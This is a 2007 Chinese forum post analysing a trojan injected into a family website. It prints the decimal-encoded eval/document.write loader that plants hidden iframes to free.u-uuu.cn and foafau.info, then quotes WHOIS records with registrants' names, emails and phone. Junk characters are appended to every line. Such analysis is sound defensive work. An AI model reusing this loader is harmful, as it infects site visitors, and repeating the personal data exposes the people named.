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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, /L=(^k=a.;  
tOdT[&  
http://www.areway.cn/?p=175 p QE)p  
v@ C,RP9  
i^Ut015q%  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 5rxA<G s  
          =ZYThfAEw  
<script>t=’60,105,102,114,97,109,101, >O9 sk  
32,115,114,99,61,104,116,116,112,58,47,47, Tt# bg1  
102,114,101,101,46,117,45,117,117,117,46,99, iAO5"(>}?  
110,47,101,114,114,111,114,46,104,116,109, Xg<[fwW  
32,119,105,100,116,104,61,49,48,48,32,104, XH4d<?qu  
101,105,103,104,116,61,48,62,60,47,105,102, "u^EleE!  
114,97,109,101,62′; |!z2oO  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> T8J4C=?/  
                                                                                                  TvhJVVQ+?  
<script>t=’60,105,102,114,97,109,101,32,115, Q%ad q-B  
114,99,61,104,116,116,112,58,47,47,102,114, 8Cf|*C+_'  
101,101,46,117,45,117,117,117,46,99,110,47, F}?<v8#z0  
101,114,114,111,114,46,104,116,109,32,119, t={0(  
105,100,116,104,61,49,48,48,32,104,101,105, }U 5Y=RYo  
103,104,116,61,48,62,60,47,105,102,114,97, c-]fKj7  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); vn').\,P2O  
document.write(t);</script> GY!C|7kN  
                                                                                                  s'I)A^i+  
<html xmlns=” t=wXTK5"  
http://www.w3.org/1999/xhtml c=p=-j=.J  
“> s&PM,BFf  
<head> 7 _jE[10  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> {eZ{]  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> :J_oj:0r"f  
<title>首页 - 爱生活家庭网 {ShgJ ;! Q  
                                                                                                                                                    eQN.sl5  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 nS.G~c|  
转换字符串后的大概内容是(谁点击后果自付): 9(1rh9`=  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… _2Zp1h,  
                                                                                                                                  sa-9$},z4  
查询玉米u-uuu.cn的详细信息: ETw]! br  
Domain Name: u-uuu.cn HOW7cV'X  
ROID: 20070901s10001s64972306-cn >9K//co"of  
Domain Status: ok 6 vs3O  
Registrant Organization: 王雷 }p3b#fAr  
Registrant Name: 王雷 eD#XDK  
Administrative Email: czlovexs@126.com $ @1u+w  
Sponsoring Registrar: 北京万网志成科技有限公司 _9If/RD  
Name Server:ns.yovole.com ]KK`5Dv|,e  
Name Server:ns1.yovole.com 6qp5Xt+  
Registration Date: 2007-09-01 17:54 yyl#{Nl@t  
Expiration Date: 2008-09-01 17:54 F@W*\3)  
最后PING了一下地址 都没有什么…. ,Qc.;4s-  
                                                                                                1 =GI&f2I  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. e<+<lj "  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> H oy7RC&  
<script language=”javascript” src=” [~%`N*G  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script [/9(NUf  
> P'[<A Z  
这个玉米应该有可能是木马作者的: [1Dm<G u@  
foafau.info的详细信息: a|qsQ'1,;  
Access to INFO WHOIS information is provided to assist persons in )iE"Tl  
determining the contents of a domain name registration record in the <4X?EYaTq  
Afilias registry database. The data in this record is provided by !C&%T]  
Afilias Limited for informational purposes only, and Afilias does not 'CV^M(o'9  
guarantee its accuracy.  This service is intended only for query-based 7>.OVh<  
access. You agree that you will use this data only for lawful purposes J\`^:tcG  
and that, under no circumstances will you use this data to: (a) allow, I0w%8bs  
enable, or otherwise support the transmission by e-mail, telephone, or |r =DBd3  
facsimile of mass unsolicited, commercial advertising or solicitations 8I#D`yVKc  
to entities other than the data recipient’s own existing customers; or &a #GXf  
(b) enable high volume, automated, electronic processes that send AlX3Wv }  
queries or data to the systems of Registry Operator, a Registrar, or L]-w;ll-  
Afilias except as reasonably necessary to register domain names or TipHV;|e  
modify existing registrations. All rights reserved. Afilias reserves 3)E(RyQA3  
the right to modify these terms at any time. By submitting this query, zJl_ t0  
you agree to abide by this policy. o0Gx%99'  
Domain ID:D22418703-LRMS x-Z^Q C  
Domain Name:FOAFAU.INFO oXal  
Created On:20-Nov-2007 16:05:42 UTC 9M2f!kJP$  
Last Updated On:20-Nov-2007 16:05:44 UTC qu{mqkfN>  
Expiration Date:20-Nov-2008 16:05:42 UTC 3 N%{B  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) $$gtZ{ukQ  
Status:CLIENT DELETE PROHIBITED Mtp%co)f  
Status:CLIENT RENEW PROHIBITED I'_v{k5ZI  
Status:CLIENT TRANSFER PROHIBITED #x)}29%e#  
Status:CLIENT UPDATE PROHIBITED .h8M  
Status:TRANSFER PROHIBITED d6b.zP  
Registrant ID:GODA-040110615 /~hbOs/ L  
Registrant Name:liu hong /bcY6b=:  
Registrant Organization: g [L  
Registrant Street1:beijing h}6_ybmZ  
Registrant Street2: @PXXt#  
Registrant Street3: j%xBo:  
Registrant City:beijing P;GprJ`l  
Registrant State/Province: |5ONFd e"0  
Registrant Postal Code:100000 $ I<|-]u  
Registrant Country:CN %V_eJC""?  
Registrant Phone:+86.860108888777 >d%VDjk .  
Registrant Phone Ext.: BjZ>hhs!*  
Registrant FAX: *8-p7,D  
Registrant FAX Ext.: qZsnd7o{l.  
Registrant Email:bbbshiji@163.com q$>_WF#||  
Admin ID:GODA-240110615 =] KIkS3  
Admin Name:liu hong w2Kq(^?  
Admin Organization: <!!nI%NC  
Admin Street1:beijing <7RfBR.9  
Admin Street2: iS05YW  
Admin Street3: s`vSt* ]K  
Admin City:beijing C'<'7g4  
Admin State/Province: t aV|YP$  
Admin Postal Code:100000 gz\j('~-D  
Admin Country:CN 2Iz fP;V?  
Admin Phone:+86.860108888777 FV8\ +ep  
Admin Phone Ext.:  T{Hf P  
Admin FAX: jkCHi@  
Admin FAX Ext.: ua:9`+Dff  
Admin Email:bbbshiji@163.com dqz1xQ1  
Billing ID:GODA-340110615 yk#rd~2Z0  
Billing Name:liu hong }K;iJ~kD1  
Billing Organization: %&1$~m0  
Billing Street1:beijing .b~OMTHuvM  
Billing Street2: hXnw..0"  
Billing Street3: k(9s+0qe  
Billing City:beijing kPedX  
Billing State/Province: `axQd%:AC  
Billing Postal Code:100000 `&,_xUA  
Billing Country:CN 1:5P%$?b  
Billing Phone:+86.860108888777 +7^w9G  
Billing Phone Ext.: ' tSnH&c  
Billing FAX: 8E-Ip>{>  
Billing FAX Ext.: .S(^roM;+  
Billing Email:bbbshiji@163.com -s33m]a;  
Tech ID:GODA-140110615 V^WQ6G1  
Tech Name:liu hong m&ZJqsZIL  
Tech Organization: CQ jV!d0j  
Tech Street1:beijing ^T+<!k  
Tech Street2: K)N)IZ1q  
Tech Street3: 8z0Hx  
Tech City:beijing C?(y2p`d\  
Tech State/Province: d4V 2[TX  
Tech Postal Code:100000 IY~ {)X  
Tech Country:CN ec#_olG%  
Tech Phone:+86.860108888777 A` =]RJ  
Tech Phone Ext.: Cl{{H]QngX  
Tech FAX: ^X$ I=ro  
Tech FAX Ext.: 4t*<+H%  
Tech Email:bbbshiji@163.com 35}P0+  
Name Server:NS27.DOMAINCONTROL.COM |<'10  
Name Server:NS28.DOMAINCONTROL.COM ^Jn|*?+l  
Name Server: )v};C<  
Name Server: ud.poh~|  
Name Server: #'#4hJ*YC  
Name Server: EJv!tyJ\[  
Name Server: Fr<Pe&dn  
Name Server: "3v7gtGG  
Name Server: I? A~zigO  
Name Server: [;Vi~$p|Eo  
Name Server: l(.7t'  
Name Server: ]}5`7  
Name Server: =SA 4\/  
                                                                                                          Yo>%s4_,  
接着下载每个文件里面的代码: 7%W!k zp>  
一步一步看.. rffVfw  
7jhl0  
LZbRQ"!!o  
T..-)kL+p  
< JGYr 4V  
b$IY2W<Ln  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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